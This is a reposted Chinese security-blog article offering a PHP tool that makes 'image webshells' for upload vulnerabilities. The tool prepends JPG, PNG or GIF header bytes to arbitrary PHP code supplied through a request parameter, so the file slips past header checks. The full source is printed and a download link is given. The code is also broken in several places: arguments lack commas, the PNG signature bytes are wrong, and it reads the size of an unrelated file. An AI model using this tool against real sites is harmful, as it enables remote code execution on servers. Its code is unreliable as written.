上传漏洞绕过文件头校验的利用工具

admin 2023年6月8日13:50:34评论79 views字数 1664阅读5分32秒阅读模式

1免责声明

本公众号所发布的文章及工具代码等仅限交流学习,本公众号不承担任何责任!如有侵权,请告知我们立即删除。

2工具介绍

本脚本用于bypass文件头校验,支持jpg|png|gif格式文件。

3安装与使用

在环境的地址栏输入type参数,填入你想要的类型,再输入cmd参数,填入你想要的php代码,允许不输入cmd,默认采用phpinfo,以便探测图片马能否正常使用。type和cmd都可以用get/post方式传入。

例如:?type=jpg回显:创建成功!文件内容: ÿØ<?php phpinfo();?>

4源码文件

<!DOCTYPE html>
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=0.5, maximum-scale=2.0, user-scalable=yes" />
</head>
</html>
<?php
$cmd = '<?php phpinfo();?>';
// 读取输入的命令
if(!empty($_REQUEST['cmd'])){
    $cmd=$_REQUEST['cmd'];
}
// 输入产生文件的类型
function makeTrick($typeCode){
    switch($typeCode){
        case 'jpg':
            $fileType = Array(255,216);
            break;
        case 'png':
            $fileType = Array(137,800);
            break;
        case 'gif':
            $fileType = Array(71,73);
            break;
        default:
            $fileType = Null;
    }
    return $fileType;
}
function load($fileType,$cmd$ext){
    // 读取输入的文件类型
    if(!empty($fileType)) {
        $data = pack('C2'$fileType[0], $fileType[1]);
        $file = fopen('profile'.$ext"wb");
        // 写入文件头
        $bin = fwrite($file$data);
        // 写入命令
        $bin2 = fwrite($file$cmd);
        fclose($file);
        $file = fopen('profile'.$ext"r");
        echo '创建成功!文件内容:</br>';
        echo htmlentities(fread($file, filesize('tmp_pack.txt')));
        fclose($file);
    }
}
if(!empty($_REQUEST['type'])) {
    $ext = $_REQUEST['type'];
    $fileType = makeTrick($ext);
    load($fileType$cmd$ext);
}else{
    echo '请用get方式输入type参数和cmd参数(可选,默认phpinfo)';
}

 

Tips:

下载地址:

项目地址:https://github.com/youyou-pm10/upload-exp

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年6月8日13:50:34
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   上传漏洞绕过文件头校验的利用工具http://cn-sec.com/archives/1788089.html

发表评论

匿名网友 填写信息